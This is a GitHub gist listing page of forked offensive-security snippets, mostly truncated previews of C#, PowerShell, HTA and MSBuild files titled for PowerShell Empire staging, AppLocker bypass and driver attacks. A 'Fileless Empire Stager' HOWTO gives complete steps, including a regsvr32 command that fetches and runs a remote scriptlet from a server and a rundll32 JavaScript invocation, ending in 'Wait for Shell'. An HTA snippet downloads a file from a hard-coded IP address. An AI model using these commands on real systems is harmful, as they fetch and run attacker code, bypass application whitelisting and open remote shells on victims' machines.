Skip to content

Instantly share code, notes, and snippets.

View DanielRTeixeira's full-sized avatar

Daniel DanielRTeixeira

62 followers · 8 following
View GitHub Profile
@DanielRTeixeira
DanielRTeixeira / ProcessArmor.cs
Created November 2, 2017 15:23 — forked from nicholasmckinney/ProcessArmor.cs
Process Armor - Prevent users from killing your service or process
using System;
using System.Diagnostics;
using System.Reflection;
using System.ComponentModel;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Configuration.Install;
@DanielRTeixeira
DanielRTeixeira / empire.cs
Created November 2, 2017 15:23 — forked from nicholasmckinney/empire.cs
PowerShell Empire via InstallUtil.exe
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
@DanielRTeixeira
DanielRTeixeira / HOWTO
Created November 2, 2017 15:23 — forked from nicholasmckinney/HOWTO
Fileless Empire Stager
1. Create Empire Listener
2. Generate Stager
3. Host Stager Code At Some URL
4. Host .sct File At Some URL
5. On host, execute regsvr32.exe /i:http://server/empire.sct scrobj.dll
6. Instanitate the Object. ( ex: $s=New-Object -COM "Empire";$s.Exec() )
-Or This rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();s=new%20ActiveXObject("Empire");s.Exec();
7. Wait for Shell...
@DanielRTeixeira
DanielRTeixeira / regfreeCom.ps1
Created November 2, 2017 15:24 — forked from nicholasmckinney/regfreeCom.ps1
Registration-Free Com Object from URL
# Make Sure dynwrapx,dll is in %temp%
$a = new-object -com Microsoft.Windows.ActCtx
$a.ManifestURL = 'https://gist.githubusercontent.com/subTee/36df32293bc5006148bb6b03b5c4b2c1/raw/661b5aafd55288930761d9ad4eabe7403146ab5c/dynwrapx.dll.manifest'
$b = $a.CreateObject("DynamicWrapperX")
$b.Register("user32.dll", "MessageBoxW", "i=hwwu", "r=l") | Out-Null
$b.MessageBoxW(0, "Hello, world!", "Test", 4) | Out-Null
@DanielRTeixeira
DanielRTeixeira / EmpireCOMPosh.cs
Created November 2, 2017 15:24 — forked from nicholasmckinney/EmpireCOMPosh.cs
Allows PowerShell Commands To Execute via JavaScript via COM. PowerShell without PowerShell.exe
using System;
using System.IO;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
//Add For PowerShell Invocation
using System.Collections.ObjectModel;
using System.Management.Automation;
@DanielRTeixeira
DanielRTeixeira / evil.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/evil.cs
Execute a DLL via Regsvr32
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
using RGiesecke.DllExport;
namespace Export
{
class Test
{
@DanielRTeixeira
DanielRTeixeira / Win10Bypass.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/Win10Bypass.cs
Windows 10 Prototype Bypass Applocker
using System;
using System.Diagnostics;
using System.Reflection;
using System.Configuration.Install;
using System.Runtime.InteropServices;
/*
Author: Casey Smith, Twitter: @subTee
License: BSD 3-Clause
Step One:
@DanielRTeixeira
DanielRTeixeira / InstallUtil.hta
Created November 2, 2017 15:25 — forked from nicholasmckinney/InstallUtil.hta
Download And Compile
<html>
<head>
<script>
//Set your settings
var strFileURL = "http://192.168.56.103/execalc.html";
var oTest = new ActiveXObject("wscript.shell");
var pathTest = oTest.ExpandEnvironmentStrings("%USERPROFILE%") + "\\Downloads\\execalc.html";
var strHDLocation = pathTest;
@DanielRTeixeira
DanielRTeixeira / kernel.xml
Created November 2, 2017 15:25 — forked from nicholasmckinney/kernel.xml
Blog Post Code - Attacking Drivers with MSBuild.exe.
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<!-- This inline task executes c# code. -->
<!-- C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe kernel.xml -->
<Target Name="Hello">
<ClassExample />
</Target>
<UsingTask
TaskName="ClassExample"
@DanielRTeixeira
DanielRTeixeira / DynamicWrapperCS.cs
Created November 2, 2017 15:25 — forked from nicholasmckinney/DynamicWrapperCS.cs
Dynamic Wrapper 1.1
using System;
using System.Reflection;
using System.Reflection.Emit;
using System.Runtime;
using System.Text;
using System.Runtime.InteropServices;
using System.EnterpriseServices;
using ComTypes = System.Runtime.InteropServices.ComTypes;